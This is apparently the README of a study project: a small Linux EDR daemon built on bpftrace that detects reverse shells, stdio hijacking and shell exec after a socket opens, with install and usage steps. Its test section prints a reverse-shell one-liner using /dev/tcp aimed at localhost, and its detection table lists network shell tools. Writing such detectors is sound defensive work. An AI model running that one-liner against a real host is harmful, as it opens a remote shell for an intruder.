Um mini Endpoint Detection & Response feito em Bash + bpftrace, rodando como daemon systemd no Linux.
Detecta reverse shells, stdio hijack e shell exec pós-socket em tempo real — com notificação desktop e log persistente.
Terminal mostra o daemon ativo via
systemctl, o log capturando[WARN]e[CRIT], e a notificação desktop disparando ao detectarbash -i >& /dev/tcp/...
| Evento | Nível | Descrição |
|---|---|---|
| Socket aberto por shell | WARN |
bash, sh, zsh, python, perl, ruby, nc... abrindo socket TCP/IPv6 |
connect() após socket suspeito |
CRIT |
Indica tentativa de reverse shell ativa |
execve() após socket suspeito |
CRIT |
Shell spawn pós-conexão |
dup2/dup3 redirecionando stdin/stdout/stderr |
CRIT |
Hijack de stdio (técnica clássica de reverse shell) |
┌─────────────────────────────────────────────────┐
│ edr.sh (daemon) │
│ │
│ bpftrace (eBPF) │
│ ├── tracepoint:syscalls:sys_enter_socket │
│ ├── tracepoint:syscalls:sys_enter_connect │
│ ├── tracepoint:syscalls:sys_enter_execve │
│ └── tracepoint:syscalls:sys_enter_dup2/dup3 │
│ │ │
│ ▼ │
│ Parser em Bash (grep/sed/while read) │
│ │ │
│ ┌──────┴──────────┐ │
│ ▼ ▼ │
│ /var/log/edr.log notify-send (desktop) │
│ + paplay (som) │
└─────────────────────────────────────────────────┘
Gerenciado pelo systemd como serviço persistente
- bpftrace hooks em tracepoints de kernel rastreiam syscalls em tempo real
- Um mapa
@suspicious[pid]marca processos que abriram socket sendo shells - Syscalls subsequentes (
connect,execve,dup2) nesses PIDs disparam alertasCRIT - O output é parseado em Bash e roteado para log + notificação desktop
- O systemd garante que o daemon sobreviva a reboots e falhas
# Arch/Manjaro
sudo pacman -S bpftrace libnotify
# Debian/Ubuntu
sudo apt install bpftrace libnotify-bin# 1. Clone o repositório
git clone https://github.com/darioomatos/linux-edr-lab.git
cd linux-edr-lab
# 2. Instale o script principal
sudo cp edr_bpftrace.sh /usr/local/bin/edr.sh
sudo chmod +x /usr/local/bin/edr.sh
# 3. Instale e ative o serviço systemd
sudo bash edr_start.sh
# 4. Verifique o status
systemctl status edr# Checar se está rodando
systemctl status edr
# Acompanhar o log em tempo real
sudo tail -f /var/log/edr.log
# Ver logs do systemd
journalctl -u edr -f
⚠️ Ambiente de lab apenas. Não execute em produção sem listener configurado.
# Simula reverse shell (conexão será recusada, mas o EDR detecta o comportamento)
bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'Resultado esperado no log:
2026-04-25 21:51:43 [WARN] [WARN] Socket aberto por shell comm=bash pid=72195 family=IPv4
2026-04-25 21:51:43 [CRIT] [CRIT] REVERSE SHELL DETECTADA comm=bash pid=72195
E notificação desktop disparando imediatamente.
linux-edr-lab/
├── edr_bpftrace.sh # Script principal (daemon + bpftrace)
├── edr_start.sh # Instalador do serviço systemd
├── screenshot.png # Demo do projeto em ação
└── README.md
Edite as variáveis no topo de edr_bpftrace.sh:
LOG_FILE="/var/log/edr.log" # Caminho do log
ALERT_SOUND="..." # Som de alerta (freedesktop)
# WEBHOOK_URL="https://hooks.slack.com/..." # Webhook Slack (opcional)Para habilitar alertas no Slack, descomente WEBHOOK_URL e o bloco curl na função notify_once.
- O daemon roda como root (exigido pelo bpftrace/eBPF)
NoNewPrivileges=falseé necessário para o bpftrace funcionar- O log em
/var/log/edr.logtem permissão600 PrivateTmp=trueisola o/tmpdo processo
- Integração com Slack/Discord via webhook
- Detecção de port scanning e bind shells
- Alerta por e-mail via
sendmail - Dashboard web leve para visualização dos logs
- Suporte a allowlist de PIDs/processos confiáveis
- Exportação de eventos em formato JSON/CEF para SIEM
dmatos — Pentester & Cybersecurity Engineer
Projeto de estudos sobre detecção de ameaças em nível de kernel via eBPF/bpftrace.
"Detectar antes de remediar."
